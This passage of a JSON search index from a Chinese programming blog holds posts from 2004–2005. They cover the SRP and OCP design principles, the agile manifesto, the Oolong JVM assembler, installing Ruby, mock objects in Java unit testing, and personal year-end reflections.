hangup();\nvoid send(char c);\nvoid recv();\n}\n缺点：Modem有两个职责，分别是连接管理和数据通信。经过单一职责分解后==〉\n//DataChannel.java\npublic interface DataChannel{\nvoid send(char c);\nvoid recv();\n}\n//Connection.java\npublic interface Connection{\nvoid dial(String portNo);\nvoid hangup();\n}\n//Modem.java\npublic class Modem implements DateChannel , Connection{\n//…\n}\n曾经在大学的时候用MFC开发程序，当然现在看起来那些程序的设计很糟糕。其中一个典型的缺点就是类的职责分配不明确，当时我常常在一个界面类中写入业务逻辑代码，比如email处理等等。也看过很多网友的MFC代码，出现此类糟糕设计的还是很多的。\n* OCP-Open for extension，Closed for modification\n引用书中论述“软件实体（类、模块、函数等等）应该是可以扩展的，但是不可修改”。\n如何做到OCP？– 抽象\n让A模块依赖一个接口或一个抽象类，这样对A模块的修改可以是Closed的。那么如何对A模块进行扩展呢？我们可以通过扩展那个接口的多种实现或者继承那个抽象基类做到这点。\nTemplate Method模式的应用可以很好的解释上面的论述。\n//某一个功能模块A是这样依赖一个抽象类AbsBase的：\nvoid callSomething(AbsBase a){\na.templateMethod();\n}\n//AbsBase的定义，一个即开放又封闭的基类。\npublic abstract class AbsBase{\npublic abstract void method1();\npublic abstract void method2();\npublic void templateMethod(){\nmethod1();\nmethod2();\n}\n}\n下面我们就可以通过AbsBase的子类来扩展功能模块A的行为了\npublic class DerivedClass extends AbsBase{\npublic void method1(){\n//…\n}\nPublic void method2(){\n//…\n}\n}\n从上面可以看出Template method模式可以帮助我们去OCP。请时刻想着“抽象”这一实现OCP的基本原则。\n在看书的过程中，我感觉到有时候不能为了OCP而去OCP，还需考虑实际情况和系统的整体架构。作者在书中也提到“仅对程序中呈现出的频繁变化的那些部分做抽象。拒绝不成熟的抽象和抽象本身一样重要。”\n","permalink":"https://tonybai.com/2005/01/09/open-and-close/","summary":"\u003cp\u003e敏捷设计最基本原则：“开放封闭原则（OCP，\u003ca href=\"http://en.wikipedia.org/wiki/Open/closed_principle\"\u003eOpen-Close Principle\u003c/a\u003e）”\u003c/p\u003e\n\u003cp\u003e* 回顾SRP\u003cbr\u003e\n在开始谈OCP之前，我们还是简单回顾一下Bob大叔在其书中所论述的敏捷设计的第一个原则“单一职责原则（SRP，Single Responsibility Principle）”。\u003c/p\u003e","title":"开放与封闭"},{"content":"在Java视线论坛的Python/Zope版，浏览了管理员robbin发的题目为“我眼中的Python”的帖子，感触颇深。\nRobbin如是说：“做为一种严谨的，编译式的，面向对象语言，Java总是给我一种须正襟危坐，须一板一眼的按照OOAD的规则编程，才敢在键盘上敲下字符的感觉。即使编写一个最小规模的程序，我也不能够接受把所有的code塞到main里面的做法。Java似乎以不怒自威的威严使我不敢随意编码，不敢玷污Java的严谨。于是我即使写一个很简单的JDBC程序，也要一板一眼的try catch finally，一层层的处理Connection，PreparedStatement和ResultSet。”\nRobbin的这番话真是说到我的心坎上了，也是在最近才发现居然“不敢”写Java代码了，自从看了Bob大叔的那本经典“敏捷软件开发”后，面对那么多经典的OO规则，生怕自己写出的代码太滥，虽然有refactoring坐镇，但是心里还是发虚。\n像C++、Java等一些语言，都是诞生于OO开始起步的年代，身上难免都散发着“学院派OO”的味道，所以也常被人们称为学院派的语言。今天我们已经步入了被称为“后OO时代”的阶段，此时此刻C++、Java等传统的学院派反倒让人们感到了一丝沉重。人类都有一种叛逆的行为，不愿意被束缚，所以有些人开始尝试像Python、Ruby等OO时代后期才诞生的面向对象的动态类型语言，并开始喜欢上这些有着“轻盈身段”并且“毫无包袱”的新生代了。Now我对Ruby、Python等动态语言的认识也仅仅是停留在“Hello World！”这种级别上的，一切关于它们的论述也都只是道听途说。也许不在规则束缚下的生活是美好的。\n这几天一直都不想编码，除了看书就是将看书后的想法写下来，这也是最近我的blog数量变多的一个原因。任何事情走到了极点都会调转方向，也许从明天开始我将“沉溺”在代码的世界中。\n","permalink":"https://tonybai.com/2005/01/09/thoughts-by-some-words/","summary":"\u003cp\u003e在\u003ca href=\"http://iteye.com/\"\u003eJava视线论坛\u003c/a\u003e的Python/Zope版，浏览了管理员robbin发的题目为“我眼中的\u003ca href=\"http://python.org/\"\u003ePython\u003c/a\u003e”的帖子，感触颇深。\u003c/p\u003e\n\u003cp\u003eRobbin如是说：“做为一种严谨的，编译式的，面向对象语言，Java总是给我一种须正襟危坐，须一板一眼的按照OOAD的规则编程，才敢在键盘上敲下字符的感觉。即使编写一个最小规模的程序，我也不能够接受把所有的code塞到main里面的做法。Java似乎以不怒自威的威严使我不敢随意编码，不敢玷污Java的严谨。于是我即使写一个很简单的JDBC程序，也要一板一眼的try catch finally，一层层的处理Connection，PreparedStatement和ResultSet。”\u003c/p\u003e","title":"由一段话想到的"},{"content":"最近一段时间，看了很多前沿性的资料，发觉在头脑中形成了很多“思维”的孤岛，这些孤岛很无序，我甚至不知道它们是什么时候的出现的，好像一夜间都浮出了“海平面”，我很难将它们连接起来。本篇blog中我想说的也是我一个思维孤岛的展现。\n“What you see is what you get”-WYSIWYG\n提到“所见即所得”我们就不能不提到它的发明人Charles Simonyi。\n20世纪70年代作为Xerox公司设在 Palo Alto 的研究中心的一名科学家，Simonyi发明了第一个文字处理软件Bravo, 它在屏幕上准确显示出文件打印的效果，即通常所说的“所见即所得”（WYSIWYG）。后来，Simonyi加入了微软。在微软，他是公司的主要设计者，领导了Word和Excel的研发。现在的Simonyi已离开微软，创办了自己的公司Intentional Software（意图软件）。Simonyi已经足够富有，在最新的福布斯富豪排行榜上他名列第209，驱使他的动力是他的梦想。\nSimonyi曾说：\n- “软件要像PowerPoint演示那样容易编辑”\n- “让代码看起来象设计”\n- Simonyi 描述生成程序的新模型时说“它看起来很像PowerPoint的调色板，任何人都可用它制作幻灯片，把文本、图表或图像粘贴到一个直观的但又是虚拟的工作空间的不同位置”\n“What you design is what you get”- WYDIWYG\n另一种“所见即所得”－ “所设计即所得”，不知道这样概括是否得当，也许我的理解只能到达这个地步，我停留在我的“思维”孤岛上，我的目光还到达不了太远的地方。\n自己也很难详细阐述我的理解，在见识了了诸如LOP（Language Oriented Programming，面向语言编程）、DSL（Domain Specific Language,领域专用语言）和MDA（Model Driven Architecture, 模型驱动构架）等等或被捧为“银弹”或被讥讽为“吹嘘”的种种概念后，我突然觉得也许我们现阶段想要的可能就是这个“WYDIWYG”，也许还不全是它。\n也许在未来还有“What you require is what you get”，那种直接将需求转变为可运行的软件，在目前看来还是遥不可及的。\n","permalink":"https://tonybai.com/2005/01/08/another_wysiwyg/","summary":"\u003cp\u003e最近一段时间，看了很多前沿性的资料，发觉在头脑中形成了很多“思维”的孤岛，这些孤岛很无序，我甚至不知道它们是什么时候的出现的，好像一夜间都浮出了“海平面”，我很难将它们连接起来。本篇blog中我想说的也是我一个思维孤岛的展现。\u003c/p\u003e","title":"另一种“所见即所得”"},{"content":"虽说Bob大叔（Robert C.Martin）的《敏捷软件开发–原则、模式与实践》一书在china mainland出版已经有一年之久了，但是我真正专下心看这本书还是在最近。也许敏捷开发思想和我最初脑海中的软件开发思想有些背道而驰，但是现在我正在准备拥抱它。\n* 重温经典的“敏捷软件开发宣言”\n宣言部分摘录如下：\n个体与交互 胜过 过程和工具\n可以工作的软件 胜过 面面俱到的文档\n客户合作 胜过 合同谈判\n响应变化 胜过 遵循计划\n* 理解敏捷\n敏捷的概念在我理解是“一切从简”但又不失灵活；直面变化，轻松应对。\n管理：一份好的计划是能够快速响应变化的计划。\n需求：客户极大程度的参与。\n设计：简单、简单还是简单。引用书中的话“如果能够使用简单的socket连接，就不去使用ORB或者RMI；如果能够不使用多线程，就别去用它”\n编码：结对、test driven和refactoring.\n沟通：面对面交谈胜过mail or 文档。\n文档：整个团队编写和维护一份短小精悍的系统原理和结构的文档，永远记住代码是唯一没有二义性的产品。\n","permalink":"https://tonybai.com/2005/01/07/embrace-agile/","summary":"\u003cp\u003e虽说\u003ca href=\"http://en.wikipedia.org/wiki/Robert_Cecil_Martin\"\u003eBob大叔\u003c/a\u003e（Robert C.Martin）的《\u003ca href=\"http://book.douban.com/subject/1140457\"\u003e敏捷软件开发–原则、模式与实践\u003c/a\u003e》一书在china mainland出版已经有一年之久了，但是我真正专下心看这本书还是在最近。也许\u003ca href=\"http://en.wikipedia.org/wiki/Agile_software_development\"\u003e敏捷\u003c/a\u003e开发思想和我最初脑海中的软件开发思想有些背道而驰，但是现在我正在准备拥抱它。\u003c/p\u003e\n\u003cp\u003e* 重温经典的“敏捷软件开发宣言”\u003cbr\u003e\n宣言部分摘录如下：\u003cbr\u003e\n个体与交互         胜过     过程和工具\u003cbr\u003e\n可以工作的软件     胜过     面面俱到的文档\u003cbr\u003e\n客户合作         胜过     合同谈判\u003cbr\u003e\n响应变化         胜过     遵循计划\u003c/p\u003e","title":"拥抱敏捷"},{"content":"看到这两个单词，我的第一感觉就是怪。第一个单词读起来像是“乌龙”的音译，查查金山词霸，哇！真是“乌龙茶”的意思，而第二个单词我查了半天都找不到，我想可能是作者自创的词吧。\nWhat is Oolong and Gnoloo?\nOolong是一种为Java虚拟机定制的汇编语言，其作者为Joshua Engel，Gnoloo则是将.class文件转成Onlong语言的一种反汇编工具。引用Joshua Engel书中的一段描述“the Oolong language is nearly equivalent to the class file format but easier to read and write.”\n一般用Oolong写成的程序代码都保存在扩展名为.j的文件中。如\nHelloOolong.j ——- 经过Oolong转换 —— 〉 HelloOolong.class\nHelloOolong.class ——- 经过Gnoloo转换 —— 〉 HelloOolong.j\n我是在浏览《Programming for the Java Virtual Machine》这本书的时候遇到这些的，好奇驱使着我深入的了解一下Oolong这种汇编语言。在这里我不想说Oolong的指令与语法，我想Oolong和Gnoloo可以作为一种工具，来帮助Java学习者了解Java程序的运行或者说看看JVM是如何运行一个一个.class文件的。如果真的对之很是感兴趣的话或者说是一个super fans，你可以学习一下Oolong，并用Oolong写出一些可以运行在JVM上的程序。\n下载Oolong和Gnoloo\nOolong和Gnoloo是由Joshua Engel编写的汇编语言及工具，我们可以通过下面的链接下载到相关包：\nhttp://www.scifac.ru.ac.za/resourcekit/download/Engel.zip\n解压后进入Engel目录下，有三个重要的class文件Oolong.class、Gnoloo.class和DumpClass.class。\n编译和反编译Onlong程序\nNow！我们使用Oolong语法写一个“Hello Oolong!”程序（该程序改编自《Programming for the Java™ Virtual Machine》一书的2.1小节的那个“Hello World！”程序），代码如下：\n//HelloOolong.j代码：\n.class public HelloOolong\n.super java/lang/Object\n.method public static main([Ljava/lang/String;)V\n.limit stack 2\n.limit locals 1\ngetstatic java/lang/System/out Ljava/io/PrintStream;\nldc \u0026ldquo;Hello Oolong!\u0026rdquo;\ninvokevirtual java/io/PrintStream/println\n(Ljava/lang/String;)V\nreturn\n.end method\n.end class\n我们不关心具体的语法和指令。\n打开控制台，进入该目录运行：\njava Oolong HelloOolong.j 在当前目录下会产生HelloOolong.class文件\n运行该class文件我们会看到控制台输出：\nHello Oolong!\n下面我们利用Gnoloo反编译class文件：（前提删除HelloOolong.j文件）\njava Gnoloo HelloOolong.class 在当前目录下会产生HelloOolong.j文件\nOolong和Gnoloo为我们提供了一套查看JVM汇编代码的解决方案，我们可以将由javac生成的class文件反汇编为Oolong汇编代码。\n如：HelloOolong.java —– javac———-\u0026gt; HelloOolong.class ——–Gnoloo—–\u0026gt; HelloOolong.j\n之后我们便可以查看汇编代码，然后了解我们的代码时如何在JVM上运行的了。\nDumpClass工具\n在下载的包中还有一个很好用的工具，那就是DumpClass，它可以输出class文件的信息。\n使用方法：java DumpClass HelloOolong.class， class文件的信息就会被输出到屏幕上。\n查看Java字节码(汇编码)的另一种方法\njavap –c –verbose HelloOolong\njavap是JDK自带的工具。\n","permalink":"https://tonybai.com/2005/01/06/oolong-and-gnoloo/","summary":"\u003cp\u003e看到这两个单词，我的第一感觉就是怪。第一个单词读起来像是“乌龙”的音译，查查金山词霸，哇！真是“乌龙茶”的意思，而第二个单词我查了半天都找不到，我想可能是作者自创的词吧。\u003c/p\u003e","title":"Oolong and Gnoloo"},{"content":"Ruby是一个很好听的名字，给我的感觉就是“可爱的”。但它不是什么宠物之类的东西，它是一门语言，一门面向对象的脚本语言。虽然它的作者是日本人，但是摒弃民族偏见，我们还是应该以欣赏的和科学的眼光来看待它。\n一、Install Ruby\n我们以最新发布的ruby-1.8.2为例：\n* unix platform\n到http://www.ruby-lang.org/en/ 下载文件ruby-1.8.2.tar.gz，上传到Unix上，执行以下命令序列：\ngzip –d ruby-1.8.2.tar.gz\ntar xvf ruby-1.8.2.tar.gz\n然后进入ruby-1.8.2目录，顺序执行下面操作：\n./configure\nmake\nmake test\nmake install\n由于没有root权限，所以我的make install失败了。\n* windows platform\n到http://rubyforge.org/frs/download.php/2407/ruby182-14.exe 下载Windows平台的one-click ruby installer安装文件。这个安装文件还是蛮全面的，包括了Ruby的运行环境、编辑器和相关教程等。\n二、Hello Ruby!\n无论是哪种语言，我们起初学习的时候总是会想到写一个“Hello xxx”的例子，这次我们看看一个用Ruby写的“Hello Ruby!”的例子。\n刚才那个安装文件安装了两个编辑器程序，分别是FreeRIDE和SciTE，从名字上理解前者是Ruby专用的IDE，所以我首先尝试使用这个，不过令我很遗憾的是这个FreeRIDE启动起来真是巨慢，好像程序死了似的，所以索性我换了后者。后者界面很简单，打开“Language”下拉菜单，发现这个编辑器居然支持这么多种语言（不下20种），好奇心让我去Google搜了一下，得到一些资料，见文章后面的[注1]。在SciTE编辑器中输入下面代码：\n# My first ruby program\nprint \u0026ldquo;Hello Ruby！\\n\u0026rdquo;\n保存该文件为“HelloRuby.rb”。按“F5”键即可运行该程序，SciTE会自动打开另一个视图用来显示控制台输出的结果：\n\u0026gt;ruby HelloRuby.rb\nHello Ruby\n\u0026gt;Exit code: 0\n看完上面代码和输出结果你的感受是什么?\n我想大多数人会感受到脚本语言的简单。\n对比一下下面的实现同一功能的Java代码就知道了。\npublic class HelloRuby {\npublic statc void main(String[] args) {\nSystem.out.println(“Hello Ruby!”);\n}\n}\nRuby不光简单。Ruby是一种面向对象的脚本语言，它的强大之处在本篇blog中并未体现，待以后慢慢挖掘吧^_^\n[注1]：SciTE是基于Scintilla开发库(ActiveState的Pythonwin和komodo可都是用这个库来做编译器的)的编辑器,支持多种文件格式(Ada ,Avenue ,C/C++/C# ,Eiffel ,HTML ,JavaScript, VBScript, PHP ,ASP ,IDL,INI, Java ,Lisp ,Lua ,Make ,Pascal ,Perl, Python ,Ruby ,SQL,PLSQL ,VB ,XML ),既小巧快速又强大灵活,令人爱不释手。它最突出的特点有:\n*几乎所有的特性都可以通过特性文件来设定\n*通过插入词法分析器和设定新的特性文件,可以支持更多语言\n*对代码的颜色可以进行详尽的控制,并可以把彩色的代码导出为HTML格式或RTF格式.\n*自动缩进代码.\n*可以根据代码的层次将它折叠起来,如同目录一样.\n*自动补全标志符,提示函数原型(需要事先准备API文件)\n*调用命令行工具来编译和运行代码,并且会分析常见的编译器的输出内容,找到出错的行.(类似Emacs的工作方式)\n*方便编程的其他功能,如光标控制,书签插入,自动注释等等.\n","permalink":"https://tonybai.com/2005/01/05/learn-ruby/","summary":"\u003cp\u003e\u003ca href=\"http://ruby-lang.org/\"\u003eRuby\u003c/a\u003e是一个很好听的名字，给我的感觉就是“可爱的”。但它不是什么宠物之类的东西，它是一门语言，一门面向对象的脚本语言。虽然它的作者是日本人，但是摒弃民族偏见，我们还是应该以欣赏的和科学的眼光来看待它。\u003c/p\u003e\n\u003cp\u003e一、Install Ruby\u003cbr\u003e\n我们以最新发布的ruby-1.8.2为例：\u003c/p\u003e\n\u003cp\u003e* unix platform\u003cbr\u003e\n到http://www.ruby-lang.org/en/ 下载文件ruby-1.8.2.tar.gz，上传到Unix上，执行以下命令序列：\u003cbr\u003e\ngzip –d ruby-1.8.2.tar.gz\u003cbr\u003e\ntar xvf ruby-1.8.2.tar.gz\u003cbr\u003e\n然后进入ruby-1.8.2目录，顺序执行下面操作：\u003cbr\u003e\n./configure\u003cbr\u003e\nmake\u003cbr\u003e\nmake test\u003cbr\u003e\nmake install\u003cbr\u003e\n由于没有root权限，所以我的make install失败了。\u003c/p\u003e","title":"结识Ruby"},{"content":"在我写下这篇blog的时候，新年的钟声刚刚敲响，不知道此时我该做些什么，也许应该祈祷世界和平或是祈祷深受南亚东南亚海啸袭击的人能早日从悲伤中走出来，重建自己的家园。\n在岁末的最后一天总结自己这一年的生活，我想用“生活”这个词还是能涵盖一切的。生活是包罗万象的，包括你的学习，你的工作，你的爱情，你的家庭。回顾我的已经过去的2004，有过考研落榜的剧痛，也有过重获爱情的甜蜜，品尝过工作上的得意和失落等等一切一切，从一个大学里走出来的学生，到一个有了半年工作经验的上班族，我基本上完成了社会角色的改变。虽然现在的工作不是那么的理想，也曾有过一段时间对工作很消极，但让我欣慰的是我仍然有激情，而且我结识了一些和我志同道合的朋友，在他们的鼓励和帮助下，我有了很大的进步，思想的进步比技术进步更重要。\n用短短的不到200字总结了一下我的2004，在这个特殊时刻不能不送出几份感谢、几个祝福。感谢dreamhead向我推荐 blog这么好的工具。感谢dreamhead、model、darwin_yuan和toidi_xu对我的无私帮助，还要感谢我的女朋友对我工作的巨大支持^_^（春节回家的时候我会把时间全部留给你的）。\n新年新气象，祝所有浏览过此篇blog的xdjm们新年快乐^_^\nHappy New Year!\n","permalink":"https://tonybai.com/2005/01/01/an-essay-at-the-end-of-year/","summary":"\u003cp\u003e在我写下这篇blog的时候，新年的钟声刚刚敲响，不知道此时我该做些什么，也许应该祈祷世界和平或是祈祷深受南亚东南亚海啸袭击的人能早日从悲伤中走出来，重建自己的家园。\u003c/p\u003e","title":"写在岁末"},{"content":"发现静寂的夜能让我的思维加快。\n用Mock Object进行Unit Test已经一周多了，发现以前对Mock Object还是很肤浅，即使是现在我也不敢说我对Mock Object的理解就一定正确。\n这篇blog假设你已经熟悉JUnit、了解Mock和TDD。\n如果你是直接开始使用JMock 、Easy Mock或者是MockMaker等Mock Object框架的，我建议你简单了解一下Mock Object的演化历史，这样你在使用Mock Object时才会更有的放矢。\nMock object有关键的两个概念：\n* 建立起环境的概念。在www.mockobjects.com的faq中有一句是这样叙述的“I think the fundamental thing to remember about Mock objects is that they are just that – simple shells or placeholders.” Mock object只是替代了被测Object环境的代码。\n* test assertions被隐藏在Mock object内部实现中了，在你的test case中用来verify被测代码与Mock object的交互。\n在单元测试中，人们发现有一些问题（这些问题在我的“认识Mock Object”中已列出）常见单元测试工具（如JUnit）并不能很好、很便捷的解决，这样Mock object被引入来解决这些问题。\n最初人们手工编写Mock Object。随着测试问题越来越复杂，人们自己手工编写的Mock object越来越多，人们开始将编写Mock Object过程中一些通用的东西抽象出来，形成了一些Mock Object Lib，以帮助开发人员快速得到自己需要的Mock Objects。\n当前的Mock Object Lib有多种，大致可分为两类：\n* Static Mock Objects Lib\n* Dynamic Mock Objects Lib\n这里简单举例说明一下不同类型Mock object lib的使用方法，并与手工编写进行对比。\n问题：我们在测试某个class时，我们需要与MyInterface这个接口进行交互，而该接口尚未实现，这时我们使用Mock object来替代。\n接口MyInterface:\npublic interface MyInterface {\npublic SomeClass getSomething();\npublic void setSomething(SomeClass aSomething)\n// Other methods omitted…\n}\n* 手工编写mock object:\npublic class HandcraftMockMyInterface implements MyInterface {\npublic SomeClass getSomething() {\nreturn something;\n}\npublic void setSomething(SomeClass aSomething){\nthis.someting = aSomething;\n}\nprivate SomeClass something;\n//others\n}\n* 使用Static Mock Object Lib编写Mock Interface：\npublic class StaticMockMyInterface extends MockObject implements MyInterface{\nprivate final ExpectationValue something = new ExpectationValue(\u0026ldquo;something\u0026rdquo;); public void setSomething(SomeClass something){\nthis.something.setActual(something);\n}\npublic void setExpectedSomething(SomeClass something){\nthis.something.setExpected(something);\n}\npublic void SomeClass getSomething(){\nreturn this. something;\n} }\n* 使用Dynamic Mock Object Lib编写Mock Interface：(以JMock为例)\nMock dynamicMockMyInterface = new Mock(MyInterface.class);\nMyInterface mi = (MyInterface) dynamicMockMyInterface.proxy();\nSomeClass someThing = new SomeClass();\ndynamicMockMyInterface.expects(once()).method(“setSomething”).with(eq(someThing));\ndynamicMockMyInterface.expects(once()).method(“getSomething”).will(returnValue(someThing));\n//执行你的测试代码,比如你的tested object与MyInterface mi交互的代码。\ndynamicMockMyInterface.verify();\nMock Object的使用流程\n- Setup any state — setup the fixture for your test\n- Set expectations for the test\n- Run the target code\n- Verify that your expectations have been met\nMock Object Practical Experience\n- 好的设计是容易测试的设计\n- 尽量让测试在内存中完成，不要在硬盘上留下“垃圾”\n- 面向接口使用Mock Object。better to implement interface , not inherit class\n","permalink":"https://tonybai.com/2004/12/28/talk-about-mock-object-again/","summary":"\u003cp\u003e发现静寂的夜能让我的思维加快。\u003c/p\u003e\n\u003cp\u003e用\u003ca href=\"http://en.wikipedia.org/wiki/Mock_object\"\u003eMock Object\u003c/a\u003e进行\u003ca href=\"http://en.wikipedia.org/wiki/Unit_testing\"\u003eUnit Test\u003c/a\u003e已经一周多了，发现以前对Mock Object还是很肤浅，即使是现在我也不敢说我对Mock Object的理解就一定正确。\u003c/p\u003e","title":"再谈Mock Object"},{"content":"不知怎么的，我总是喜欢在工作的时候来完成我的blog，这也就是我这篇blog的题目来由。\n享受完美妙的平安夜和快乐的圣诞节，又开始我新一天的工作。\n北国寒冬，从寝室出来，道路上几乎不见行人，身上的热气不断逃离，寒气扑来，打了几个寒颤。心里想着今天的工作，脚下步伐却在不知不觉中加快。\n来到温暖的办公区，打开outlook，看到一份来自远方好朋友的邮件，邮件中如是说“你的blog也不更新。看到梦想风暴的圣诞前夜写的blog，感慨挺多的。”看完后的第一感觉是很兴奋，因为第一次有人提醒我该更新我的blog了；但是心里也不免有些惭愧，毕竟看到我的最后一篇blog是12月15号的，掐指算来已有近半个月没有动笔了，想了想这段时间我的“所作所为”，除了公司项目的更迭，再就是Dominoo的tdd(test driven development)。从大学接触计算机程序以来，一直是直接完成功能代码然后测试的，突然让我先写test code然后完成business code，我的思维很难做出这个“急转弯”，心情也是很郁闷的，时间在不停的流逝，而代码却被反复的推翻。dreamhead看出了这点，决定和我结对编程，一步步带我形成测试驱动开发的思维。经过那次结对后发现自己正向着tdd靠拢，加上昨天一天自己的亲自试验，发现效果还是不错的。这周是2004年的最后一周，对我们的dominoo来说也是很重要的一周，因为我们的计划是这周拿出一个“初具规模”的内部版本，我们现在都在为此而努力着。\n自从dreamhead向我推荐blog以来，我逐渐的开始喜欢阅读其他人的blog了。打开dreamhead的“剧本集”（blog），也欣赏一下那篇well-known的“写在平安夜”，看看dreamhead发的“牢骚”^_^，居然看到他的“剧本”中还有我的“角色”^_^。\n由于一个好朋友的内部推荐，昨天接到了国内某著名大公司的面试邀请，不过被我宛然谢绝了，我刚刚入司不到1年，虽说这里并不像我想象中的那么有激情而且待遇又不是令我满意，但是能遇到像dreamhead、darwin_yuan、model和toidi_xu这样的对软件如此痴迷的而又满怀激情的人，我还是蛮欣慰的。我们成为朋友是因为我们志同道合，我们有自己的共同的梦想，我们有着同样的激情。我们还要在一起共同的奋斗，我暂时还离不开这些朋友。\n在写这篇blog时又看到了远方那位好友回复的邮件，说他正在准备一篇要投到一个国际会议并且EI检索的paper，我知道这是他的第一篇正式要发表的paper，真心祝愿他能成功。\n","permalink":"https://tonybai.com/2004/12/27/an-essay-when-working/","summary":"\u003cp\u003e不知怎么的，我总是喜欢在工作的时候来完成我的blog，这也就是我这篇blog的题目来由。\u003c/p\u003e\n\u003cp\u003e享受完美妙的平安夜和快乐的圣诞节，又开始我新一天的工作。\u003c/p\u003e","title":"写在工作时"},{"content":"早就听说Sun开放了JDK的源代码，不过一直认为那么多源代码，根本没时间看，所以一直也没去下载。随着对Java了解的深入，览一览神秘的Java源代码的渴望是“与日俱增”，今天的工作不忙就去down了一份jdk5.0的源代码。\n我是使用SCSL许可证下载的，解压后大约有190多MB。我最初的打算就是想看看java.lang包下一些类的实现。我吭哧吭哧的找了半天才在\\j2se\\src\\share\\classes\\java下找到lang包的目录。在\\j2se\\src\\目录下有4个subdir，分别是linux、share、solaris和windows。其中share是最最重要的包，所有jdk核心的源代码都在这里，其他三个subdir存放的都是与平台相关的一些代码。\n了解了jdk源码的目录结构后，我们就方便多了，以后在java编码中遇到什么问题需要参考相关class的源码的话，我们就可以轻松查到了。\njdk源代码的确很庞大，只能以后慢慢看慢慢体会其中的精髓吧^_^。\n","permalink":"https://tonybai.com/2004/12/15/glimpse-jdk5-source/","summary":"\u003cp\u003e早就听说Sun开放了JDK的源代码，不过一直认为那么多源代码，根本没时间看，所以一直也没去下载。随着对Java了解的深入，览一览神秘的Java源代码的渴望是“与日俱增”，今天的工作不忙就去down了一份jdk5.0的源代码。\u003c/p\u003e","title":"JDK5.0源代码初览"},{"content":"上周六我们Dominoo group讨论（以下称讨论）TDD和JUnit的时候，提到过Mock Object，那次可能是我第一次听到Mock Object这个概念，程序员对新鲜的的东西都是敏感的，所以今天晚上花了一些时间了解了一下Mock Object的概念，做了一些简单实践。\n术语\nTested Object – 被测对象\nMock – 假的 or 仿制的对象\n* What is Mock Object?\n在讨论中我大致了解到Mock Object一般是用来做辅助单元测试，它负责隔离Tested Object与真实环境中模块或实体(Real world object)的交互，并“替代”or “冒充”这些真实模块或实体与Tested Object进行交互。\n在“JUnit in action”这本书中关于Mock Object的描述如下：\nA mock object (or mock for short) is an object created to stand in for an object that your code will be collaborating with. Your code can call methods on the mock object, which will deliver results as set up by your tests.\n* Mock Object给我带来什么好处？\n看看下面的图：\n|—————————————————————–|\n| | | |———————| | |—————————–|\n| | Tested | | External Mock Object |\n| | Object | | |—————————-|\n| |———————| |\n| /|\\ |——————–| |\n| |———–〉| Internal Mock | |\n| | Object | |\n| |——————–| |\n| [Your system scope] |\n|—————————————————————– |\n在测试你的Tested Object时，你可能会与你系统内的某个模块或系统外某个实体交互，而这些模块或实体在你做单元测试的时候可能并不存在，这时：\n- Internal Mock Object可能是一个你的系统尚未完成的模块的“替身”(replacement)；\n- External Mock Object可能是测试你的Tested Object时需要的外部的环境实体的“替身”（replacement）。\n不知道这样给Mock Object分类是否正确。\n我们来看看与Real world object交互有什么不足之处：\n- Real world object的行为具有不确定性，我们难于控制它们的输出or返回结果。\n- Real world object有些时候是难于被建立的或者说是无法获得的。\n- Real world object的有些行为难于被触发，如磁盘已满，网络error等。\n- Real world object可能不存在，比如你的Tested Object需要与你的系统的另一个module交互，而另一个module尚未开发完毕。\n当然还不止这些，我们仅仅是列出一部分。\n使用Mock Object替代Real world object后我们就会解决上述问题，换句话说当上面的情况出现后，我们就可以使用Mock Object。这也是什么时候该使用Mock Object的answer。\nMock Object是我们自己编写的，我们拥有控制它的绝对的权力，我们可以定制它的行为和输出。\n* Use Mock Object\n使用Mock Object解决上述问题可分三步走：\n1. Use an interface to describe the object\n2. Implement the interface for production code\n3. Implement the interface in a mock object for testing [3]\n还有一点就是对于Internal Mock Object早晚你要实现出其Real world object的，因为那是你系统的一部分。\n一个改自资料[3]的例子\npublic interface Environmental {\npublic long getTime();\n// Other methods omitted…\n}\n对于这样一个接口，我们提供两种实现,\n//real world object\npublic class SystemEnvironment implements Environmental {\npublic long getTime() {\nreturn System.currentTimeMillis();\n}\n// other methods …\n}\n//mock object\npublic class MockSystemEnvironment implements Environmental {\npublic long getTime() {\nreturn currentTime;\n}\npublic void setTime(Time aTime){\nthis.currentTime = aTime;\n}\nprivate Time currentTime;\n//others\n}\n我们可以看到在MockSystemEnvironment中我们提供“setTime”函数是为了提供控制Mock Object的接口。\n我们要测试的类\n//TestedObject\npublic class TestedObject{\nprivate Environmental env;\nTestedObject(Environmental aEnv){\nthis.env = aEnv;\n}\npublic boolean isAm(){\nCalendar cal = Calendar.getInstance();\ncal.setTimeInMillis(env.getTime());\nint hour = cal.get(Calendar.HOUR_OF_DAY);\nif (hour \u0026lt;=12) return true;\nreturn false;\n}\n}\n将要测试的类放入单元测试框架\npublic class TestTestedObject extends TestCase {\npublic void testIsAm(){\nMockSystemEnvironment env = new MockSystemEnvironment();\n// Set up a target test time\nCalendar cal = Calendar.getInstance();\ncal.set(Calendar.YEAR, 2004);\ncal.set(Calendar.MONTH, 10);\ncal.set(Calendar.DAY_OF_MONTH, 1);\ncal.set(Calendar.HOUR_OF_DAY, 16);\ncal.set(Calendar.MINUTE, 55);\nlong t1 = cal.getTimeInMillis();\nenv.setTime(t1);\nTestedObject to = new TestedObject(env);\nassertFalse(to.isAm());\n}\n}\n在该单元测试中我们使用了Mock Object,并且在使用前我们利用setTime接口，输入了我们需要的值。结果我们会通过测试。如果我们使用Real Object，我们得到的测试结果将是不固定的，后者可不是所期望的。从这个例子中你也应该体会到Mock object的一些好处了。\n如果我们总是手动写我们需要的Mock Object，那将是一个很大的工作量。现在业界有了Mock Objects、easy mock等开源框架的支持，是我们编写Mock object变得越来越容易。\n参考资料：\n1、《Test-Driven Development – A practical guide》\n2、《JUnit in action》\n3、《Pragmatic Unit Testing》\n","permalink":"https://tonybai.com/2004/12/10/learn-mock-object/","summary":"\u003cp\u003e上周六我们Dominoo group讨论（以下称讨论）\u003ca href=\"http://en.wikipedia.org/wiki/Test-driven_development\"\u003eTDD\u003c/a\u003e和\u003ca href=\"http://www.junit.org/\"\u003eJUnit\u003c/a\u003e的时候，提到过\u003ca href=\"http://en.wikipedia.org/wiki/Mock_object\"\u003eMock Object\u003c/a\u003e，那次可能是我第一次听到Mock Object这个概念，程序员对新鲜的的东西都是敏感的，所以今天晚上花了一些时间了解了一下Mock Object的概念，做了一些简单实践。\u003c/p\u003e","title":"认识Mock Object"},{"content":"DMC采用驱动开发的方式，这就意味着重构“Refactoring”是我要学习的对象。早在大三的时候就已经把那本经典的“Refactoring Improving the Design of Existing Code”英文版买到手了，但就是在买回来后的第n天，它就被“打入冷宫”了。\n* What Is 